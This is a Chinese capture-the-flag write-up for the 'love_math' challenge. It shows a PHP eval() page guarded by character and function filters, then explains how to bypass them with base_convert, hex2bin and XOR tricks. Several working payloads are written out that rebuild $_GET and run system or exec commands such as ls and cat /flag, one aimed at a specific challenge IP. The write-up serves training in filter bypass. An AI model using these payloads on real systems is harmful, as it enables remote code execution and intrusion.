题目:[CTF]攻防世界:love_math
学习点:php的动态函数、默认函数名使用
<?phperror_reporting(0);//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){show_source(__FILE__);}else{//例子 c=20-1$content=$_GET['c'];if(strlen($content)>=80){die("太长了不会算");}$blacklist=[' ','\t','\r','\n','\'','"','`','\[','\]'];foreach($blacklistas$blackitem){if(preg_match('/'.$blackitem.'/m',$content)){die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist=['abs','acos','acosh','asin','asinh','atan2','atan','atanh','base_convert','bindec','ceil','cos','cosh','decbin','dechex','decoct','deg2rad','exp','expm1','floor','fmod','getrandmax','hexdec','hypot','is_finite','is_infinite','is_nan','lcg_value','log10','log1p','log','max','min','mt_getrandmax','mt_rand','mt_srand','octdec','pi','pow','rad2deg','rand','round','sin','sinh','sqrt','srand','tan','tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/',$content,$used_funcs);foreach($used_funcs[0]as$func){if(!in_array($func,$whitelist)){die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');}给出源代码,让你构造出方法来拿到flag,看到白名单和黑名单及字符80长度限制。
步骤
1、长度太短,考虑用**$_GET[x]**。
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
[ ] 方括号被过滤,可以用{}尖括号代替。但是GET必须大写。
其中源代码中白名单函数可以利用的应该是base_convert函数,可以进行进制转换。
2、接下来考虑构造出$_GET[x]
现有:dechex (十进制转16进制) 还需要一个 16进制转ascii (hex2bin)
通过base_convert十进制到36进制转换,得到hex2bin。
总的payload:http://61.147.171.35:65356/?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls
解释:
- base_convert(37907361743,10,36) => “hex2bin”
- dechex(1598506324) => “5f474554” => hex2bin(5f474554) => _GET
- $pi=_GET;
- (
$$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{}可以代替[]
ascii 转 16
16进制转10
3、执行命令拿到flag
其实还有许多中方法,以下参考学习:
1、
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})base_convert(696468,10,36)=>"exec"$pi(8768397090111664438,10,30)=>"getallheaders"exec(getallheaders(){1})//操作xx和yy,中间用逗号隔开,echo都能输出echo xx,yy2、
//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))//system('cat'.dechex(16)^asinh^pi) => system('cat *')base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))3、fuzz
<?php $payload=['abs','acos','acosh','asin','asinh','atan2','atan','atanh','bindec','ceil','cos','cosh','decbin','decoct','deg2rad','exp','expm1','floor','fmod','getrandmax','hexdec','hypot','is_finite','is_infinite','is_nan','lcg_value','log10','log1p','log','max','min','mt_getrandmax','mt_rand','mt_srand','octdec','pi','pow','rad2deg','rand','round','sin','sinh','sqrt','srand','tan','tanh'];for($k=1;$k<=sizeof($payload);$k++){for($i=0;$i<9;$i++){for($j=0;$j<=9;$j++){$exp=$payload[$k]^$i.$j;echo($payload[$k]."^$i$j"."==>$exp");echo"<br />";}}}http://XXX/?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag